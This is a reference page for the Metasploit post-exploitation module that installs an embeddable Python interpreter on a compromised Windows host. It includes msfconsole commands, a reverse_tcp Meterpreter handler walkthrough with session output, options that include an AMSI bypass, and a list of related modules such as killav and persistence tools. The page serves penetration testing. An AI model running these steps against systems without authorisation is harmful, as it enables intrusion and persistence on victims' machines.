Install Python for Windows - Metasploit
This page contains detailed information about how to use the post/windows/manage/install_python metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Install Python for Windows
Module: post/windows/manage/install_python
Source code: modules/post/windows/manage/install_python.rb
Disclosure date: -
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module places an embeddable Python3 distribution onto the target file system, granting pentesters access to a lightweight Python interpreter. This module does not require administrative privileges or user interaction with installation prompts.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/manage/install_python
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/manage/install_python
msf post(install_python) > show options
... show and set options ...
msf post(install_python) > set SESSION session-id
msf post(install_python) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/manage/install_python")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Overview
This module downloads an embeddable Python3 distribution onto the target file system, granting pentesters access to a lightweight Python interpreter. This module does not require administrative privileges or user interaction with installation prompts. This is useful in cases where the in-memory python interpreter might be limited. If you only want to run a python script while connected, see https://github.com/rapid7/metasploit-framework/wiki/Python-Extension.
Tested Version
This module has been tested against:
- Windows 10, 1903
Verification Steps
- Start msfconsole
- Get a Meterpreter session
- Do:
use post/windows/manage/install_python - Do:
set SESSION # - Optional Do:
set PYTHON_VERSION - Optional Do:
set PYTHON_URL - Optional Do:
set FILE_PATH - Do:
run
Options
PYTHON_VERSION
Specifies the Python version you would like to download. Downloads Python version 3.8.2 by default.
PYTHON_URL
Specifies the URL used to download the Python embeddable zip file.
FILE_PATH
Specifies the directory to place the Python embeddable zip file. Places Python zip file in the current working directory by default.
CLEANUP
If true, this option will delete the Python zip file as well as its extracted contents. It will also terminate running processes with name 'python', as you cannot delete the Python interpreter if it is actively running.
Scenarios
Get initial access: Create a Meterpreter exe using msfvenom, then transfer it to the target system via web server, SMB, etc. Execute the payload to get a session.
msf5 > handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 >
[*] Sending stage (180291 bytes) to 192.168.13.129
[*] Meterpreter session 1 opened (192.168.13.130:4444 -> 192.168.13.129:50069) at 2020-03-04 20:32:59 -0500
Use the post module to install Python on the target filesystem
msf5 > use post/windows/manage/install_python
msf5 post(windows/manage/install_python) > set SESSION 1
SESSION => 1
msf5 post(windows/manage/install_python) > exploit
[*] Downloading Python embeddable zip from https://www.python.org/ftp/python/3.8.2/python-3.8.2-embed-win32.zip
[+] Compressed size: 1112
[*] Extracting Python zip file: .\python-3.8.2-embed-win32.zip
[+] Compressed size: 952
[*] Ready to execute Python; spawn a command shell and enter:
[+] .\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
[!] Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead
[*] Post module execution completed
Verify Python works
msf5 post(windows/manage/install_python) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 2688 created.
Channel 5 created.
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\buddha\AppData\Local\Temp>.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
Hello, world!
Note that running this Python interpreter interactively may hang your command shell.
Go back to menu.
Msfconsole Usage
Here is how the windows/manage/install_python post exploitation module looks in the msfconsole:
msf6 > use post/windows/manage/install_python
msf6 post(windows/manage/install_python) > show info
Name: Install Python for Windows
Module: post/windows/manage/install_python
Platform: Windows
Arch: x86, x64
Rank: Normal
Provided by:
Michael Long <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP false no Remove module artifacts; set to true when ready to cleanup
FILE_PATH .\python-3.8.2-embed-win32.zip yes File path to store the python zip file; current directory by default
PYTHON_URL https://www.python.org/ftp/python/ yes URL to Python distributions
PYTHON_VERSION 3.8.2 yes Python version to download
SESSION yes The session to run this module on.
Description:
This module places an embeddable Python3 distribution onto the
target file system, granting pentesters access to a lightweight
Python interpreter. This module does not require administrative
privileges or user interaction with installation prompts.
References:
https://docs.python.org/3/using/windows.html#windows-embeddable
https://attack.mitre.org/techniques/T1064/
Module Options
This is a complete list of options available in the windows/manage/install_python post exploitation module:
msf6 post(windows/manage/install_python) > show options
Module options (post/windows/manage/install_python):
Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP false no Remove module artifacts; set to true when ready to cleanup
FILE_PATH .\python-3.8.2-embed-win32.zip yes File path to store the python zip file; current directory by default
PYTHON_URL https://www.python.org/ftp/python/ yes URL to Python distributions
PYTHON_VERSION 3.8.2 yes Python version to download
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/manage/install_python post exploitation module:
msf6 post(windows/manage/install_python) > show advanced
Module advanced options (post/windows/manage/install_python):
Name Current Setting Required Description
---- --------------- -------- -----------
Powershell::Post::dry_run false yes Return encoded output to caller
Powershell::Post::force_wow64 false yes Force WOW64 execution
Powershell::Post::log_output false yes Write output to log file
Powershell::Post::timeout 15 yes Powershell execution timeout, set < 0 to run async without termination
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/manage/install_python module can do:
msf6 post(windows/manage/install_python) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/manage/install_python post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/manage/install_python) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No powershell available.
Here is a relevant code snippet related to the "No powershell available." error message:
46: python_url = "#{datastore['PYTHON_URL']}#{datastore['PYTHON_VERSION']}/python-#{datastore['PYTHON_VERSION']}-embed-win32.zip"
47:
48: # check if PowerShell is available
49: psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'
50: unless file? "%WINDIR%\\System32#{psh_path}"
51: fail_with(Failure::NotVulnerable, 'No powershell available.')
52: end
53:
54: # Cleanup module artifacts
55: if datastore['CLEANUP']
56: print_status('Removing module artifacts')
Failed to download <PYTHON_URL>
Here is a relevant code snippet related to the "Failed to download <PYTHON_URL>" error message:
67: print_status("Downloading Python embeddable zip from #{python_url}")
68: psh_exec(script)
69:
70: # confirm python zip file is present
71: unless file? datastore['FILE_PATH']
72: fail_with(Failure::NotFound, "Failed to download #{datastore['PYTHON_URL']}")
73: end
74:
75: # extract python embeddable zip file
76: script = "Expand-Archive #{datastore['FILE_PATH']}; "
77: print_status("Extracting Python zip file: #{datastore['FILE_PATH']}")
Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead
Here is a relevant code snippet related to the "Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead" error message:
80: # confirm python.exe is present
81: unless file? python_exe_path
82: fail_with(Failure::NotFound, python_exe_path)
83: end
84:
85: # display location of python interpreter with example command
86: print_status('Ready to execute Python; spawn a command shell and enter:')
87: print_good("#{python_exe_path} -c \"print('Hello, world!')\"")
88: print_warning('Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead')
89: end
90: end
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #13030 Merged Pull Request: New Windows post module: install_python
References
- CVE: Not available
- https://docs.python.org/3/using/windows.html#windows-embeddable
- https://attack.mitre.org/techniques/T1064/
See Also
Check also the following modules related to this module:
- post/windows/manage/add_user
- post/windows/manage/archmigrate
- post/windows/manage/change_password
- post/windows/manage/clone_proxy_settings
- post/windows/manage/delete_user
- post/windows/manage/dell_memory_protect
- post/windows/manage/download_exec
- post/windows/manage/driver_loader
- post/windows/manage/enable_rdp
- post/windows/manage/enable_support_account
- post/windows/manage/exec_powershell
- post/windows/manage/execute_dotnet_assembly
- post/windows/manage/forward_pageant
- post/windows/manage/hashcarve
- post/windows/manage/ie_proxypac
- post/windows/manage/inject_ca
- post/windows/manage/inject_host
- post/windows/manage/install_ssh
- post/windows/manage/killav
- post/windows/manage/migrate
- post/windows/manage/mssql_local_auth_bypass
- post/windows/manage/multi_meterpreter_inject
- post/windows/manage/nbd_server
- post/windows/manage/peinjector
- post/windows/manage/persistence_exe
- post/windows/manage/portproxy
- post/windows/manage/pptp_tunnel
- post/windows/manage/priv_migrate
- post/windows/manage/pxeexploit
- post/windows/manage/reflective_dll_inject
- post/windows/manage/remove_ca
- post/windows/manage/remove_host
- post/windows/manage/rid_hijack
- post/windows/manage/rollback_defender_signatures
- post/windows/manage/rpcapd_start
- post/windows/manage/run_as
- post/windows/manage/run_as_psh
- post/windows/manage/sdel
- post/windows/manage/shellcode_inject
- post/windows/manage/sshkey_persistence
- post/windows/manage/sticky_keys
- post/windows/manage/vmdk_mount
- post/windows/manage/vss
- post/windows/manage/vss_create
- post/windows/manage/vss_list
- post/windows/manage/vss_mount
- post/windows/manage/vss_set_storage
- post/windows/manage/vss_storage
- post/windows/manage/wdigest_caching
- post/windows/manage/webcam
Authors
- Michael Long <bluesentinel[at]protonmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
